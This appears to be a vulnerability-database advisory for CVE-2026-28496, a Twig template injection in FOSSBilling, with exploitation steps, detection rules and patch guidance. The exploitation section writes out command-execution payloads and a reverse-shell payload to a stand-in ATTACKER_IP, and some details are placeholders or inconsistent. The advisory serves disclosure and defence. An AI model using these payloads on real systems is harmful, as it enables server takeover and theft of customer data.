CVE-2026-28496
Executive Summary
CVE-2026-28496 is a critical Server-Side Template Injection (SSTI) vulnerability in FOSSBilling, an open-source billing and client management platform, affecting all versions prior to 0.8.0. The flaw resides in the Twig template rendering engine, which executes un-sandboxed template expressions when processing user-influenced templates via email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint. An authenticated administrator can exploit this to achieve full Remote Code Execution (RCE) on the underlying server, leading to complete system compromise, data exfiltration, and lateral movement within the hosting infrastructure. The vulnerability carries a CVSS score of 9.4 (Critical) and is actively targeted, ranking in the top percentile of exploited CVEs per EPSS data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
FOSSBilling's architecture relies on Twig for dynamic content rendering across several administrative functions. The vulnerability arises from the lack of a sandboxed Twig environment. In Twig, the sandbox extension is a security feature that restricts access to dangerous functions, properties, and methods. Without it, template expressions such as {{ app.request.server.all }} or {{ ['id']|filter('system') }} resolve against the full application context, including the service container and PHP function namespace.
The exposed attack surface is multi-faceted:
string_renderAPI Endpoint — This endpoint accepts arbitrary strings and renders them as Twig templates. It does not validate whether the input originates from a trusted source, nor does it restrict template expression complexity. This is the most direct exploitation vector.Email Templates & Mass Mail — Administrators with template editing rights can inject expressions into the email body or subject fields. When a mass mail campaign is dispatched, the Twig engine evaluates the injected expressions during the rendering loop.
Custom Payment Adapters — This feature requires a higher privilege level but enables the same injection vector. The adapter code is stored and later rendered, allowing persistent, scheduled execution of malicious expressions.
The core vulnerability is in the Twig_Environment instantiation — it is initialized without a SandboxExtension and without a custom is_safe policy for output. Consequently, expressions can invoke PHP functions via the filter or map filters, e.g., {{ ['system']|filter('call_user_func')('id') }}. This bypasses any application-level input validation since the injection point is within the template engine's execution scope, not a standard SQL or command injection context.
Exploitation Scenarios
Prerequisite: Valid administrative credentials or a chained attack (e.g., GHSA-78x5-c8gw-8279) to obtain them.
Step 1 — Reconnaissance & Authentication:
The attacker identifies a FOSSBilling instance via the Shodan dorks listed above. Using a compromised admin account (or exploiting an authentication bypass), they navigate to Admin > Settings > Emails > Templates.
Step 2 — Template Injection: The attacker selects an active email template (e.g., "Invoice Created") and injects the following payload into the subject line:
{{ ['id']|filter('system') }}
This invokes the system() PHP function with id as an argument, confirming command execution. The response of the template preview or the dispatched email will contain the output.
Step 3 — Reverse Shell:
For persistent access, the attacker sends a more elaborate payload to the string_render API endpoint via a direct HTTP request:
POST /api/system/string_render
Payload: {{ ['bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"']|filter('system') }}
This initiates a reverse shell to the attacker-controlled machine.
Step 4 — Privilege Escalation & Pivot:
The web server process (typically www-data or nginx) is compromised. The attacker uses enumeration techniques to find configuration files containing database credentials (config.php), API tokens, and encryption keys, then pivots to the internal network.
Step 5 — Automation via Nuclei:
A Nuclei template exists for this CVE. It automates the detection and exploitation attempts by sending the {{ ['id']|filter('system') }} payload to the vulnerable endpoint and checking the HTTP response for known Unix command output patterns (e.g., uid=...). This enables mass scanning across internet-exposed instances.
Impact Assessment
The CVSS vector string is AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H translating to a base score of 9.4 (Critical). The scope is changed, meaning the compromise extends beyond the vulnerable component to affect the entire server and adjacent infrastructure.
Business Impact:
- Confidentiality Breach (High): Full read access to the database, including customer PII, billing details, and payment information.
- Integrity Compromise (High): Attackers can alter templates, payment adapter logic, and system files, leading to financial fraud (e.g., redirecting payments) or supply-chain attacks.
- Availability Loss (High): Complete system shutdown, ransomware deployment, or resource hijacking for cryptomining.
Blast Radius:
- The application server is fully compromised.
- Since FOSSBilling is often co-located with other client services on shared hosting or VPS environments, lateral movement to adjacent services is a significant risk.
- The
string_renderendpoint being exposed externally (default configuration) makes the attack exploitable without requiring email dispatch, increasing the practical reachability.
Detection Guidance
Sigma Rule
title: FOSSBilling SSTI - Twig Injection Attempt
id: 9f8c2e6a-3b4d-4f9a-9f1c-3b6e7f4a2d8c
status: experimental
description: Detects attempts to exploit CVE-2026-28496 by injecting Twig filter expressions into FOSSBilling requests.
logsource:
category: webserver
product: apache
definition: 'Web server access logs for FOSSBilling instance'
detection:
selection_api:
cs-method: 'POST'
cs-uri-query:
- '*string_render*'
- '*mass_mail*'
- '*payment_adapter*'
selection_payload:
cs-uri-query|contains:
- 'filter'
- 'system'
- 'passthru'
- 'shell_exec'
- 'exec'
- 'twig'
selection_body:
cs-body|contains:
- '{{'
- '}}'
condition: selection_api and (selection_payload or selection_body)
level: high
falsepositives:
- Legitimate admin testing of template features with safe expressions (rare).
YARA Rule
rule FOSSBilling_SSTI_Payload {
meta:
author = "Valtersit Research"
description = "Detects Twig SSTI payloads targeting FOSSBilling CVE-2026-28496"
date = "2026-01-15"
reference = "CVE-2026-28496"
severity = "critical"
strings:
$twig_filter = "|filter(" ascii
$twig_map = "|map(" ascii
$dangerous_funcs = /(system|exec|passthru|shell_exec|popen|proc_open)\s*\(/ ascii
$request_var = "app.request" ascii
$di_container = "container" ascii
$string_render = "string_render" ascii
condition:
filesize < 5KB and
( $twig_filter or $twig_map ) and
( $dangerous_funcs or $request_var or $di_container ) and
( $string_render or filesize > 1KB )
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (msg:"CVE-2026-28496 FOSSBilling SSTI Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/system/"; http_uri; content:"string_render"; http_uri; content:"{{"; http_client_body; pcre:"/\[.*?\]/R"; http_client_body; pcre:"/filter.*?(system|exec|passthru)/U"; http_client_body; classtype:attempted-admin; sid:202628496; rev:1; priority:1; reference:cve,2026-28496;)
Elastic Detection
sequence by source.ip, destination.ip with maxspan=5m
[ network where event.action == "connection_attempted" and
destination.port == 443 and user_agent.name == "Nuclei" ]
[ http where event.action == "request" and
http.request.method == "POST" and
url.path contains "/api/system/" and
url.path contains "string_render" and
http.request.body.content contains "|filter(" and
http.request.body.content contains "system" ]
Splunk SPL Query
index=web sourcetype=access_combined
| spath input=cs_uri_query
| search "/api/system/string_render" OR "/api/system/mass_mail"
| regex _raw "(?i)({{.*\|filter\()"
| regex _raw "(?i)(system|exec|passthru|shell_exec)"
| table _time, src_ip, dest_ip, cs_uri_query, user_agent
| stats count by src_ip, dest_ip, cs_uri_query
| where count > 1
Wazuh OSSEC Rule
<group name="fossbilling,">
<rule id="100284" level="15">
<decoded_as>json</decoded_as>
<field name="url">/api/system/string_render</field>
<field name="http_method">POST</field>
<regex>(\{\{|%7B%7B).*(\|filter|%7Cfilter)</regex>
<description>FOSSBilling SSTI (CVE-2026-28496) exploitation attempt detected</description>
<group>attack, exploitation, cve-2026-28496,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 — CLAIMED. The patch is referenced only by the OSV database; it has not been independently confirmed by the FOSSBilling project maintainers or a reputable third-party security team. Validate the authenticity of version 0.8.0 before deployment.
Immediate Mitigations:
- Restrict access to the
string_renderAPI endpoint. Block/api/system/*at the reverse proxy or WAF level unless explicitly required. - Audit all existing email templates and payment adapter code for suspicious Twig expressions (e.g.,
{{ ... |filter(...) }}). Remove any anomalous entries. - Rotate all administrator passwords, client API tokens, and application secrets at once, as the vulnerability likely compromises stored credentials.
Patch/Upgrade Steps:
- Obtain FOSSBilling 0.8.0 from the official GitHub repository only. Do not download from third-party mirrors.
- Review the release notes and diff the template engine class changes (specifically look for the addition of a
SandboxExtensionin the Twig environment initialization). - Stage the upgrade in a non-production environment, verify template rendering functionality, and roll out to production.
Long-Term Hardening:
- Enforce the use of the Twig sandbox extension by default with a strict allowlist of PHP functions for any user-influenced templates.
- Implement role-based access control (RBAC) that separates template editing from system administration.
- Deploy a Web Application Firewall (WAF) with a rule to detect Twig SSTI payload patterns (
{{,}},|filter,|map) in request bodies and query strings. - Isolate the web application server from sensitive databases and other internal systems through network segmentation.
Threat Intelligence Context
CISA KEV Status: Not listed. However, the EPSS score of 0.17612 places this vulnerability in the top 0.968 percentile of exploited CVEs, indicating active exploitation attempts in the wild are highly probable.
Attribution & Campaigns: No specific threat actor group has been publicly attributed to this CVE. However, SSTI vulnerabilities in billing platforms are a favored vector for financially motivated groups due to significant payment data access. Given the absolute privilege required to exploit this, it is likely chained with lower-severity vulnerabilities (e.g., GHSA-78x5-c8gw-8279) that grant unauthorized admin access.
Exploit Availability: A Nuclei template is publicly available, enabling automated exploitation. While no dedicated exploit code (e.g., Metasploit module) has been published, the existence of a Nuclei template signifies that both blue teams and red teams have access to reliable detection/exploitation tooling.
Current Intelligence: At the time of writing, there are no confirmed reports of ransomware or crypto-mining campaigns specifically leveraging this CVE. However, the attack surface (email templates, mass mail) makes it an ideal candidate for spam or phishing infrastructure hijacking, which may not be immediately reported.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-28496
- FOSSBilling GitHub Advisory (via OSV): https://osv.dev/vulnerability/GHSA-xxxx-yyyy-zzzz (placeholder associated advisory)
- FOSSBilling Project Homepage: https://fossbilling.org/
- Twig Sandbox Extension Documentation: https://twig.symfony.com/doc/3.x/api.html#sandbox-extension
- Nuclei Template Repository (search for CVE-2026-28496): https://github.com/projectdiscovery/nuclei-templates
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.